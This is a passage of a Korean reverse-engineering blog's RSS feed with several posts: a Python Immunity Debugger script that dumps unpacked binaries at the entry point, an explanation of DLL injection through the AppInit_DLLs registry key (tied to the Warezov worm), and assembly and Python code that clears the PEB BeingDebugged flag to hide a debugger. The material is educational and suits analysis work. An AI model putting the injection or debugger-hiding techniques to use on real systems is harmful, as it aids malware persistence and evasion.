			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/375?commentInput=true#entry375WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x03 Linux RCE</category>
			<category>Kernel</category>
			<category>Linux</category>
			<category>Module</category>
			<category>Programm</category>
			<category>리눅스</category>
			<category>커널</category>
			<category>프로그래밍</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/375</guid>
			<comments>http://hisjournal.net/blog/375#entry375comment</comments>
			<pubDate>Sun, 20 Nov 2011 17:45:44 +0900</pubDate>
		</item>
		<item>
			<title>DumpFromOEP.py for Immunity Debugger</title>
			<link>http://hisjournal.net/blog/373</link>
			<description>Windows XP에서 Immunity Debugger의 플러그인들이 충돌을 일으켜서 만들었던 스크립트입니다. OllyDump의 소스코드를 보면서 만들었습니다. 단순히 메모리를 덤프해서 PE 헤더를 고친 후 파일로 출력하는 게 전부입니다.&lt;br&gt;&lt;br&gt;PyCommand 디렉토리 아래에 스크립트 파일을 저장한 후, eip가 OEP에 있을 때 커맨드라인에서 다음과 같이 입력하면 실행이 됩니다.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;!dumpfromoep [a path of the output file]&lt;/blockquote&gt;&lt;br&gt;OEP까지 직접 찾아가야 하고 IAT도 수동으로 고쳐줘야 합니다. UPX와 UPack으로 패킹된 바이너리는 정확히 덤프하는 걸 확인했습니다.&lt;br&gt;&lt;br&gt;&lt;h3&gt;dumpfromoep.py&lt;/h3&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;__author__ = '6l4ck3y3'&lt;br&gt;__version__ = '1.0.0'&lt;br&gt;__contact__ = '6l4ck3y3@gmail.com'&lt;br&gt;&lt;br&gt;import immlib&lt;br&gt;import pefile&lt;br&gt;&lt;br&gt;def main (args):&lt;br&gt;    imm = immlib.Debugger ()&lt;br&gt;    name = imm.getDebuggedName ()&lt;br&gt;&lt;br&gt;    try:&lt;br&gt;        mod = imm.getModule (name)&lt;br&gt;        if not mod:&lt;br&gt;            raise Exception, "Couldn't find %s" % name&lt;br&gt;    except Exception, msg:&lt;br&gt;        return "Error: %s" % msg&lt;br&gt;&lt;br&gt;    pe = pefile.PE (name = mod.getPath ())&lt;br&gt;&lt;br&gt;    memory = imm.readMemory (pe.OPTIONAL_HEADER.ImageBase, pe.OPTIONAL_HEADER.SizeOfImage)&lt;br&gt;    out = pefile.PE (data = memory)&lt;br&gt;    orig_eip = imm.getRegs ()['EIP']&lt;br&gt;&lt;br&gt;    out.FILE_HEADER.NumberOfSections = pe.FILE_HEADER.NumberOfSections&lt;br&gt;    out.OPTIONAL_HEADER.ImageBase = pe.OPTIONAL_HEADER.ImageBase&lt;br&gt;    out.OPTIONAL_HEADER.SizeOfImage = pe.OPTIONAL_HEADER.SizeOfImage&lt;br&gt;    out.OPTIONAL_HEADER.AddressOfEntryPoint = orig_eip - pe.OPTIONAL_HEADER.ImageBase&lt;br&gt;    out.OPTIONAL_HEADER.BaseOfCode = pe.OPTIONAL_HEADER.BaseOfCode&lt;br&gt;    out.OPTIONAL_HEADER.BaseOfData = pe.OPTIONAL_HEADER.BaseOfData&lt;br&gt;&lt;br&gt;    imm.log ("ImageBase = " + hex (out.OPTIONAL_HEADER.ImageBase))&lt;br&gt;    imm.log ("SizeOfImage = " + hex (out.OPTIONAL_HEADER.SizeOfImage))&lt;br&gt;    imm.log ("AddressOfEntryPoint = " + hex (out.OPTIONAL_HEADER.AddressOfEntryPoint))&lt;br&gt;    imm.log ("BaseOfCode = " + hex (out.OPTIONAL_HEADER.BaseOfCode))&lt;br&gt;    imm.log ("BaseOfData= " + hex (out.OPTIONAL_HEADER.BaseOfData))&lt;br&gt;    imm.log ("")&lt;br&gt;&lt;br&gt;    for i in range (pe.FILE_HEADER.NumberOfSections):&lt;br&gt;        out.sections[i].Name = pe.sections[i].Name&lt;br&gt;        out.sections[i].VirtualSize = pe.sections[i].Misc_VirtualSize&lt;br&gt;        out.sections[i].VirtualAddress = pe.sections[i].VirtualAddress&lt;br&gt;        out.sections[i].SizeOfRawData = pe.sections[i].Misc_VirtualSize&lt;br&gt;        out.sections[i].PointerToRawData = pe.sections[i].VirtualAddress&lt;br&gt;        out.sections[i].Characteristics = pe.sections[i].Characteristics&lt;br&gt;&lt;br&gt;        imm.log ("Name = " + repr (out.sections[i].Name))&lt;br&gt;        imm.log ("VirtualSize = " + hex (out.sections[i].VirtualSize))&lt;br&gt;        imm.log ("VirtualAddress = " + hex (out.sections[i].VirtualAddress))&lt;br&gt;        imm.log ("SizeOfRawData = " + hex (out.sections[i].SizeOfRawData))&lt;br&gt;        imm.log ("PointerToRawData = " + hex (out.sections[i].PointerToRawData))&lt;br&gt;        imm.log ("Characteristics = " + hex (out.sections[i].Characteristics))&lt;br&gt;        imm.log ("")&lt;br&gt;&lt;br&gt;    out.write (args[0])&lt;/code&gt;&lt;/pre&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/373?commentInput=true#entry373WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x02 Windows RCE</category>
			<category>Immunity Debugger</category>
			<category>OEP</category>
			<category>PyCommand</category>
			<category>python</category>
			<category>script</category>
			<category>스크립트</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/373</guid>
			<comments>http://hisjournal.net/blog/373#entry373comment</comments>
			<pubDate>Sat, 22 Oct 2011 13:31:42 +0900</pubDate>
		</item>
		<item>
			<title>From AppInit_DLLs To Injection</title>
			<link>http://hisjournal.net/blog/372</link>
			<description>&lt;DIV style="TEXT-ALIGN: center"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1099468760.png" alt="사용자 삽입 이미지" height="352" width="605" /&gt;&lt;/div&gt;&lt;EM&gt;[그림 1] 이메일 웜 Warezov는 AppInit_DLLs에 악성 DLL의 경로를 입력한다&lt;/EM&gt;&lt;/DIV&gt;&lt;BR&gt;다음의 윈도우즈 레지스트리에 DLL 파일의 경로를 입력하면, 이후 새로운 프로세스가 생성될 때마다 키값에 입력된 DLL 파일이 프로세스에 인젝션됩니다.&lt;BR&gt;&lt;BR&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs&lt;/code&gt;&lt;/pre&gt;&lt;BR&gt;&lt;BR&gt;user32.dll이 프로세스에 적재되면서 DllMain 함수에서 레지스트리 키값을 열람하고 DLL을 적재할거라고 생각할 수 있지만, 그렇지 않습니다. AppInit_DLLs의 DLL 파일은 시스템 DLL 파일들이 적재된 이후에 프로세스 초기화 과정에서 프로세스에 적재됩니다.&lt;BR&gt;&lt;BR&gt;
&lt;DIV style="TEXT-ALIGN: center"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1146142270.png" alt="사용자 삽입 이미지" height="200" width="605" /&gt;&lt;/div&gt;&lt;EM&gt;[그림 2] user32.ClientThreadSetup 콜백 함수가 호출된다&lt;/EM&gt;&lt;/DIV&gt;&lt;BR&gt;프로세스 초기화 과정 중에 gdi32.dll의 GdiDllInitialize 함수가 수행됩니다. 이 과정에서 운영체제는 이미 적재된 user32.dll의 ClientThreadSetup 콜백 함수를 호출합니다. [그림 2]와 같이 PEB(Process Environment Block)&lt;sup style="font-family:tahoma;"&gt;&lt;a href="http://hisjournal.net/blog/372#footnote_372_1" id="footnote_link_372_1"&gt;1&lt;/a&gt;&lt;/sup&gt;의 KernelCallbackTable에 저장된 콜백 함수의 주소를 참조합니다.&lt;BR&gt;&lt;BR&gt;
&lt;DIV style="TEXT-ALIGN: center"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1325778681.png" alt="사용자 삽입 이미지" height="397" width="605" /&gt;&lt;/div&gt;&lt;EM&gt;[그림 3] ClienThreadSetup에서 AppInit_DLLs를 읽는다&lt;/EM&gt;&lt;/DIV&gt;&lt;BR&gt;바야흐로, 이 ClientThreadSetup 함수에서 AppInit_DLLs를 읽습니다. [그림 2]에서 볼 수 있듯이, 일반적으로 레지스트리를 조회할 때 쓰이는 RegOpenKey, RegQueryValue와 같은 API들이 쓰이지 않습니다. 여기서는 네이티브 함수를 바로 호출하는 ZwOpenKey&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_372_2" id="footnote_link_372_2"&gt;2&lt;/a&gt;&lt;/sup&gt;와 ZwQueryValueKey&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_372_3" id="footnote_link_372_3"&gt;3&lt;/a&gt;&lt;/sup&gt; 함수를 사용합니다. 그래서 디버거로 볼 때, 윈도우즈 API에 BP(Break Point)를 걸고 달려도 AppInit_DLLs를 조회하는 것을 잡을 수 없습니다. ZwQueryValueKey에 BP를 걸고 달려야 하죠. 인자로 넘어가는 Buffer에 키값이 저장되는데, 이 구조는 InfoClass에 따라서 변경됩니다. InfoClass가 2이면, KeyValuePartialInformation 구조체로 Buffer에 저장됩니다. &lt;BR&gt;&lt;BR&gt;KeyValuePartialInformation 구조체의 정의는 다음과 같습니다.&lt;BR&gt;&lt;BR&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;typedef struct _KEY_VALUE_PARTIAL_INFORMATION {&lt;BR&gt;  ULONG TitleIndex;&lt;BR&gt;  ULONG Type;&lt;BR&gt;  ULONG DataLength;&lt;BR&gt;  UCHAR Data[1];&lt;BR&gt;} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;&lt;/code&gt;&lt;/pre&gt;&lt;BR&gt;&lt;BR&gt;구조체의 네 번째 요소인 Data[1]에 키값의 문자열이 저장됩니다. UCHAR Data[1]의 의미&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_372_4" id="footnote_link_372_4"&gt;4&lt;/a&gt;&lt;/sup&gt;는 길이가 정해지지 않은 데이터를 담기 위한 더미 변수입니다. KeyValuePartialInformation가 헤더이고, DataLength 값만큼 뒤에 바디가 붙는것이죠.&lt;BR&gt;&lt;BR&gt;
&lt;DIV style="TEXT-ALIGN: center"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1021804025.png" alt="사용자 삽입 이미지" height="94" width="605" /&gt;&lt;/div&gt;&lt;EM&gt;[그림 4] AppInit_DLLs에 저장된 e1.dll을 프로세스에 적재한다&lt;/EM&gt;&lt;/DIV&gt;&lt;BR&gt;Buffer에 DLL 파일의 경로가 쓰여 있으면, LoadLibraryW로 프로세스에 적재합니다. 만약 값이 비어 있으면, LoadLibraryW를 호출하는 루틴을 건너뜁니다.&lt;BR&gt;&lt;BR&gt;
&lt;DIV style="TEXT-ALIGN: center"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1356333841.png" alt="사용자 삽입 이미지" height="475" width="605" /&gt;&lt;/div&gt;&lt;EM&gt;[그림 5] notepad.exe에 e1.dll이 인젝션되었다&lt;/EM&gt;&lt;/DIV&gt;&lt;BR&gt;LoadLibraryW가 호출되는 시점에 DLL 파일이 프로세스에 적재됩니다. AppInit_DLLs를 이용한 DLL 인젝션은 인젝션이 이루어진 이후부터 실행되는 프로세스에 대하여 유효합니다. 레지스트리에 저장되는 값이기 때문에 윈도우즈가 재부팅되어도 유효합니다. 지금까지 보았듯이, 프로세스가 실행될 때마다 프로세스 초기화 과정 중에 인젝션이 되죠.&lt;BR&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;div class=footnotes&gt;주석.&lt;div class=footnotes_in&gt;&lt;ol class=footnotes&gt;&lt;li id="footnote_372_1"&gt;&lt;a href="http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html"  target=_blank&gt;Undocumented functions of NTDLL :: PEB&lt;/a&gt; &lt;a href="#footnote_link_372_1"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_372_2"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff567014%28v=VS.85%29.aspx"  target=_blank&gt;MSDN :: ZwOpenKey routine&lt;/a&gt; &lt;a href="#footnote_link_372_2"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_372_3"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff567069%28v=vs.85%29.aspx"  target=_blank&gt;MSDN :: ZwQueryValueKey&lt;/a&gt; &lt;a href="#footnote_link_372_3"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_372_4"&gt;&lt;a href="http://minjang.egloos.com/2254472"  target=_blank&gt;char data[1]의 역할은?&lt;/a&gt; &lt;a href="#footnote_link_372_4"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/372?commentInput=true#entry372WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x02 Windows RCE</category>
			<category>AppInit_DLLs</category>
			<category>DLL</category>
			<category>Injection</category>
			<category>인젝션</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/372</guid>
			<comments>http://hisjournal.net/blog/372#entry372comment</comments>
			<pubDate>Wed, 28 Sep 2011 07:04:04 +0900</pubDate>
		</item>
		<item>
			<title>Windows Debugging Intrenals: A to Z</title>
			<link>http://hisjournal.net/blog/371</link>
			<description>&lt;a href="http://hisjournal.net/blog/notice/265"  target="_blank"&gt;Articles&lt;/a&gt;에 문서를 업데이트 했습니다.&lt;br&gt;&lt;br&gt;Windows 의 내부 매커니즘이 어떻게 유저 모드 디버깅을 제공하는지에 대하여 설명한 Alex Ionescu 의 3부작 시리즈를 번역하였습니다. Alex Ionescu 는 ReactOS 의 커널 개발자이면서 『Windows Internals』 의 저자입니다.&lt;br&gt;&lt;br&gt;이 문서는 Dbgk 라는 NT 커널(ntoskrnl)의 객체와 디버그 이벤트를 주고받는 방법에 대해서 Win32 (kernel32) 관점부터 DbgUi 객체와 NT 시스템 라이브러리(ntdll)까지 설명합니다. 문서를 이해하기 위해서는 C 언어와 NT 커널 아키텍처(혹은 운영체제)에 대한 기초 지식이 필요합니다. 또한, 이 글은 디버깅이 무엇인지, 디버거를 어떻게 작성하는지 소개하는 글이 아닙니다. 경험 있는 디버거 작성자나 호기심이 강한 보안 전문가를 위한 레퍼런스입니다.&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/371?commentInput=true#entry371WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x02 Windows RCE</category>
			<category>Alex Ionescu</category>
			<category>Dbgk</category>
			<category>DbgUi</category>
			<category>Debugger</category>
			<category>Win32</category>
			<category>Windows</category>
			<category>디버거</category>
			<category>윈도우즈</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/371</guid>
			<comments>http://hisjournal.net/blog/371#entry371comment</comments>
			<pubDate>Sun, 28 Aug 2011 17:59:27 +0900</pubDate>
		</item>
		<item>
			<title>IsDebuggerPresent 그리고 패치</title>
			<link>http://hisjournal.net/blog/362</link>
			<description>Anti-Reversing 기법 중에서 가장 기초적인 방법은 IsDebuggerPresent&lt;sup style="font-family:tahoma;"&gt;&lt;a href="http://hisjournal.net/blog/362#footnote_362_1" id="footnote_link_362_1"&gt;1&lt;/a&gt;&lt;/sup&gt; 함수를 사용하는 것입니다. IsDebuggerPresent 함수는 호출된 프로세스가 유저 모드 디버거에 의해 호출되었는지를 확인하는 Windows API입니다. windows.h 헤더파일을 인클루드하면 바로 호출할 수 있고, Windows 2000부터 지원된다고 MSDN에 설명되어 있습니다. 함수 원형은 아래와 같습니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;BOOL IsDebuggerPresent (void);&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;파라미터는 필요 없고, 현재 프로세스가 유저 모드 디버거에 의해 호출된 것이면 0이 아닌 값을 반환합니다.&lt;br&gt;&lt;br&gt;그런데 아무래도 Windows에서 제공하는 API이기 때문에 함수 호출 지점을 검색해서 nop 처리해버리면 쉽게 우회되는 단점이 있습니다. 그래서 동일한 기능을 하는 아래와 같은 코드를 사용합니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;BOOL CheckIsDebuggerPresent ()&lt;br&gt;{&lt;br&gt;    __asm {&lt;br&gt;        mov eax, fs:18h                    // TEB&lt;br&gt;        mov eax, [eax+30h]                 // PEB&lt;br&gt;        movzx eax, byte ptr [eax+2]        // BeingDebugged&lt;br&gt;    }&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;이 코드는 IsDebuggerPresent 함수와 실제로 같은 코드입니다. IsDebuggerPresent 함수는 PEB 구조체의 세 번째 값인 BeingDebugged를 반환합니다. 유저 모드 디버거에 의해 프로세스가 호출되면 BeingDebugged 값이 1이고, 그렇지 않으면 0이기 때문이죠.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1120818730.png" alt="사용자 삽입 이미지" height="200" width="600" /&gt;&lt;/div&gt;&lt;em&gt;[그림1] 유저 모드 디버거에 의해 호출된 프로세스의 PEB&lt;/em&gt;&lt;/div&gt;&lt;br&gt;그렇다면 반대로 BeingDebugged 값을 애초에 0으로 바꿔놓으면 이 값을 확인해서 디버거를 탐지하는 방법은 무용지물이 되겠죠. 그래서 아래와 같이 패치 코드를 작성할 수 있습니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;void PatchBeingDebugged ()&lt;br&gt;{&lt;br&gt;    __asm {&lt;br&gt;        mov eax, fs:18h&lt;br&gt;        mov eax, [eax+30h]&lt;br&gt;        lea eax, byte ptr [eax+2]&lt;br&gt;&lt;br&gt;        mov [eax], 0b&lt;br&gt;    }&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;PEB 구조체의 BeingDebugged의 메모리 주소를 구해서 메모리에 0을 바로 집어넣는 것이죠. 그러면 패치 이후로는 PEB의 BeingDebugged를 검사하여도 디버거를 탐지하지를 못합니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1016974526.png" alt="사용자 삽입 이미지" height="200" width="600" /&gt;&lt;/div&gt;&lt;em&gt;[그림2] 패치된 PEB의 BeingDebugged&lt;/em&gt;&lt;/div&gt;&lt;br&gt;위 코드는 인라인 어셈으로 작성된 코드입니다. 제가 사용하는 Immunity Debugger에서 조금 더 유연하게 패치하려면 PyCommand로 작성해두면 더 좋죠. 아래는 Python 코드로 작성된 코드입니다. &lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;imm = immlib.Debugger () &lt;br&gt;imm.writeMemory (imm.getPEBaddress () + 0x2, '\x00')&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;막강한 immlib 모듈이죠. 사실, 이미 immunityDebugger에는 hidedebugger.py에 저런 코드가 적용되어 있지만요.&lt;br&gt;&lt;br&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;덧붙임&lt;/span&gt;) MSDN에서는 IsDebuggerPresent 함수가 Windows 2000부터 지원된다고 했지만, 이 함수가 적용되는 _WIN32_WINNT 매크로 값이 0x400 이상이라고 합니다. _WIN32_WINNT 0x400은 Windows 95인데, 어떤 게 맞는 걸까요?&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;div class=footnotes&gt;주석.&lt;div class=footnotes_in&gt;&lt;ol class=footnotes&gt;&lt;li id="footnote_362_1"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms680345%28v=VS.85%29.aspx"  target="_blank"&gt;IsDebuggerPresent Function&lt;/a&gt; &lt;a href="#footnote_link_362_1"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/362?commentInput=true#entry362WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x02 Windows RCE</category>
			<category>Anti-Reversing</category>
			<category>BeingDebugged</category>
			<category>IsDebuggerPresent</category>
			<category>안티리버싱</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/362</guid>
			<comments>http://hisjournal.net/blog/362#entry362comment</comments>
			<pubDate>Mon, 04 Jul 2011 09:48:23 +0900</pubDate>
		</item>
		<item>
